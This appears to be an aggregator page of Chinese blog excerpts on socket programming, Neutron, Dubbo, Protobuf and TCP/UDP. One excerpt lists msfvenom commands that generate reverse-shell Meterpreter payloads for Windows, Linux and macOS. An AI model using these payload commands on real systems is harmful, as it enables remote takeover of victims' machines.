socket

python学习笔记10 ----网络编程

感情迁移 提交于 2020-03-07 12:47:29
网络编程 网络编程需要知道的概念 网络体系结构就是使用这些用不同媒介连接起来的不同设备和网络系统在不同的应用环境下实现互操作性,并满足各种业务需求的一种粘合剂。网络体系结构解决互质性问题彩是分层方法。 1. 网络(OSI)的7层模型: 应用层--->为应用程序提供网络通信服务 表示层--->数据表示 会话层--->主机间通信(两个应用进程间) 传输层--->端到端的连接,隔离网络的上下层协议,使得网络应用与下层协议无关 网络层--->寻找最优路径,转发数据包 数据链路层--->无差错的链路连接 物理层--->二进制传输 2. 端口   是一种抽象的软件结构,包括一些数据结构和I/O缓冲区。与协议有关。 3. 套接字存在于通信区域中。   通信区域也叫地址族,它是一个抽象的概念,主要用于将通过套接字通信的进程的共有特性综合在一起。   为保证数据的正确性,在网络协议中需要制定网络字节顺序,采用统一的网络字节顺序。 网络通信三要素:   IP地址:用于表示主机(IP地址 = 网络ID+主机ID)   端口号:用于标识进程的逻辑端口   传输协议:TCP UDP 网络通信过程就是一个不断封装和解析的过程 Socket是连接应用程序与网络驱动程序的桥梁,Socket在应用程序中创建,通过绑定操作与驱动程序建立关系。 套接字   套接字是为特定网络协议(例如TCP/IP,ICMP/IP

python socket简单使用(二)

巧了我就是萌 提交于 2020-03-07 11:07:01
服务端: #server.py #服务器 import socket import time import threading # 创建socket对象 s = socket . socket ( socket . AF_INET , socket . SOCK_STREAM ) # 监听端口: # 参数是一个tuple # 我们写的这个服务不是标准服务,所以用9999这个端口号 # 小于1024的端口号必须要有管理员权限才能绑定 # (地址,端口号) s . bind ( ( '127.0.0.1' , 9999 ) ) # 参数指定等待连接的最大数量 # Listen for connections made to the socket. # The backlog argument specifies the maximum number of queued connections # and should be at least 1; the maximum value is system-dependent (usually 5). s . listen ( 5 ) print ( 'Waiting for connection...' ) def tcplink ( sock , addr ) : print ( 'Accept new connection from

neutron api源码分析

南楼画角 提交于 2020-03-07 10:14:03
neutron server的启动setup.cfg内定义neutron-server = neutron.cmd.eventlet.server:main。这里只专注介绍neutron server启动,setup.cfg不在这里详细介绍 # setup.cfg console_scripts = .... neutron-ovs-cleanup = neutron.cmd.ovs_cleanup:main neutron-pd-notify = neutron.cmd.pd_notify:main neutron-server = neutron.cmd.eventlet.server:main main函数主要是运行wsgi_eventlet.eventlet_wsgi_server函数,并进行配置文件和日志的初始化配置 #neutron.cmd.eventlet.server:main from neutron import server from neutron.server import rpc_eventlet from neutron.server import wsgi_eventlet def main(): server.boot_server(wsgi_eventlet.eventlet_wsgi_server) #boot_server函数,为初始化配置

JDK 伪异步编程(线程池)

喜欢而已 提交于 2020-03-07 08:44:14
伪异步IO编程 BIO主要的问题在于每当有一个新的客户端请求接入时,服务端必须创建一个新的线程处理新接入的客户端链路,一个线程只能处理一个客户端连接。在高性能服务器应用领域,往往需要面向成千上万个客户端的并发连接,这种模型显然无法满足高性能、高并发接入的场景。为了改进一线程一连接模型,后来又演进出了一种通过线程池或者消息队列实现1个或者多个线程处理N个客户端的模型,由于它的底层通信机制依然使用同步阻塞I/O,所以被称为“伪异步”。 为了解决同步阻塞I/O面临的一个链路需要一个线程处理的问题,后来有人对它的线程模型进行了优化,后端通过一个线程池来处理多个客户端的请求接入,形成客户端个数M:线程池最大线程数N的比例关系,其中M可以远远大于N,通过线程池可以灵活的调配线程资源,设置线程的最大值,防止由于海量并发接入导致线程耗尽。 当有新的客户端接入的时候,将客户端的Socket封装成一个Task(该任务实现java.lang.Runnable接口)投递到后端的线程池中进行处理,JDK的线程池维护一个消息队列和N个活跃线程对消息队列中的任务进行处理。由于线程池可以设置消息队列的大小和最大线程数,因此,它的资源占用是可控的,无论多少个客户端并发访问,都不会导致资源的耗尽和宕机。 服务端示例: import java.io.IOException; import java.net

最基本的Socket编程 C#版

耗尽温柔 提交于 2020-03-07 08:22:13
说明:此示例在 .net2005\xp 下运行通过 示例程序是同步套接字程序,功能很简单,只是客户端发给服务器一条信息,服务器向客户端返回一条信息;这里只是一个简单的示例,是一个最基本的 socket 编程流程,在接下来的文章中,会依次记录套接字的同步和异步,以及它们的区别。 下面是示例程序的简单步骤说明 服务器端: 第一步:用指定的端口号和服务器的 ip 建立一个 EndPoint 对像; 第二步:建立一个 Socket 对像; 第三步:用 socket 对像的 Bind() 方法绑定 EndPoint ; 第四步:用 socket 对像的 Listen() 方法开始监听; 第五步:接受到客户端的连接,用 socket 对像的 Accept() 方法创建新的 socket 对像用于和请求的客户端进行通信 ; 第六步:通信结束后一定记得关闭 socket; Client端结果: (reprinted from http://www.cnblogs.com/sopper/ ) 代码: using System; using System.Collections.Generic; using System.Text; using System.Net; using System.Net.Sockets; namespace server { class Program { static

Java原生Socket实现ProtocolBuf的例子

旧城冷巷雨未停 提交于 2020-03-07 06:58:02
一、开发环境 1.Protocol版本:3.9(可用最新) 下载地址 2.Protocol协议版本:3 3.普通java环境即可,源码就2个类。 这里主要是使用Java原生的Socket API实先前后端的即时通讯。然后通过ProtocolBuf产生二进制数据(Bytes )进行网络交互,代码简单易懂,适合对即时通讯的入门。真正项目会采用nio之类的成熟框架来实先这个通讯底层,但是底层原理是相同的。(比如使用Netty) 二、protocol协议文件 前端的请求协议文件 syntax = "proto3" ; option java_package = "com.asframe.pb3demo.proto" ; option java_outer_classname = "LoginRequest" ; message LoginReq { //登录类型 int32 type = 1 ; //名字 string name = 2 ; //密码 string pass = 3 ; } 服务端的返回协议文件 syntax = "proto3" ; option java_package = "com.asframe.pb3demo.proto" ; option java_outer_classname = "LoginResponse" ; message LoginRep { /

三百行代码完成一个简单的rpc框架

元气小坏坏 提交于 2020-03-07 02:19:08
花了半天的时间写了个简单的rpc框架,是因为我最初看dubbo源码的时候发现dubbo虽然看起来很庞大,但是隐隐约约总感觉,其实其绝大多数功能,都是基于可扩张性和服务治理的需要而编写的。我看过dubbo和grpc的源码,这两个都是非常优秀的rpc框架,但是为了让初学rpc的同学能够快速抓住rpc的核心,所以写了这篇文章,希望看过的同学,再次去看dubbo的源码的时候,能够抓住这个核心去看。 一:rpc协议的接口 RpcProtocol.java public interface RpcProtocol { void export(int port); Object refer(Class inrerfaceClass,String host, int port); } 这个接口类只提供两个接口,那是因为对于一个rpc框架来说,本质上就只需要两个接口,一个是consumer引用provider的服务,一个是provider接收到consumer的请求之后对外暴露服务。 下面是具体的实现。代码不复杂,可以直接复制到idea,慢慢调试 二:rpc协议的具体实现 RpcCore.java public class RpcCore implements RpcProtocol{ private Socket socket; private ObjectOutputStream

msfvenom各平台payload生成

狂风中的少年 提交于 2020-03-06 18:07:49
二进制 windows msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Windows -f exe > shell.exe msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f exe > shell.exe windows下生成32位/64位payload时需要注意:以windows/meterpreter/reverse_tcp为例,该payload默认为32位,也可使用-a x86选项指定。如果要生成64位,则payload为windows/x64/meterpreter/reverse_tcp。 Linux msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Linux -f elf > shell.elf Mac msfvenom -p osx/x86/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform osx -f

dubbo知识点

假装没事ソ 提交于 2020-03-06 16:47:39
Dubbo Dubbo 是基于 netty 框架的,最大的特性就是 NIO Dubbo 在 spring 中的启动加载过程 在 spring 启动过程中,通过 applicationContext 去扫描配置项,扫描到 Dubbo.xml ,这个时候的 dubbo 就会初始化成一个 bean 对象,和其他 bean 本身没有区别,并且此时的 dubbo 还没有注册到注册中心暴露出去,只是一个最普通的 bean 存在 而一切顺利完成后,接下来就是暴露的过程。会调用 bean 中的导出 export 方法。然后找到所有的 provide 端中的服务,既我们的 dubbo:service ,然后把里面的配置项,包括接口名,接口路径等一系列参数封装成一个 url 然后找到我们 dubbo 。 Xml 中的 protocol 配置,一般这里都配的是 zk 以及 zk 的注册地址 address ,然后发送暴露,而暴露及时把这些 url 数据,封装成一个 key-value 的结构,然后存入一个全局的 currentHashMap 中 完成上述步骤后,暴露就完成了。接下来就是启动一个 netty 服务监听消费者消费; Consumer 和 provide 的通信过程 首先明确一点, dubbo 是采用 socket 长连接双工模式的,传输方式的单连接 NIO 异步传输。 客户端发起 dubbo

TCP与UDP区别

帅比萌擦擦* 提交于 2020-03-06 12:52:15
TCP 为了方便开发网络应用程序,美国伯克利大学在Unix上实现的一种 应用程序 访问网络的通信协议Socket,Socket的出现使程序员可以很方便的访问TCP/IP; 使用TCP/IP 的套接字( Socket )进行通信: 服务器程序 将一个套接字绑定到一个特定的端口,并 通过此套接字等待和监听客户端到端口的连接请求; 客户端程序 根据服务器程序所在的主机名和端口 发出连接请求 。 以客户端向服务器端发送 11.jpg(下图) 为例: 客户端: import java.io.FileInputStream; import java.io.OutputStream; import java.net.Socket; public class Client { public static void main(String[] args) { try { //建立链接:指定server所在主机地址和对应的端口(绑定过程) Socket socket = new Socket("127.0.0.1", 9999); //使用IO技术将图片发送 OutputStream outputStream = socket.getOutputStream(); FileInputStream fileInputStream = new FileInputStream("D:\\11.jpg");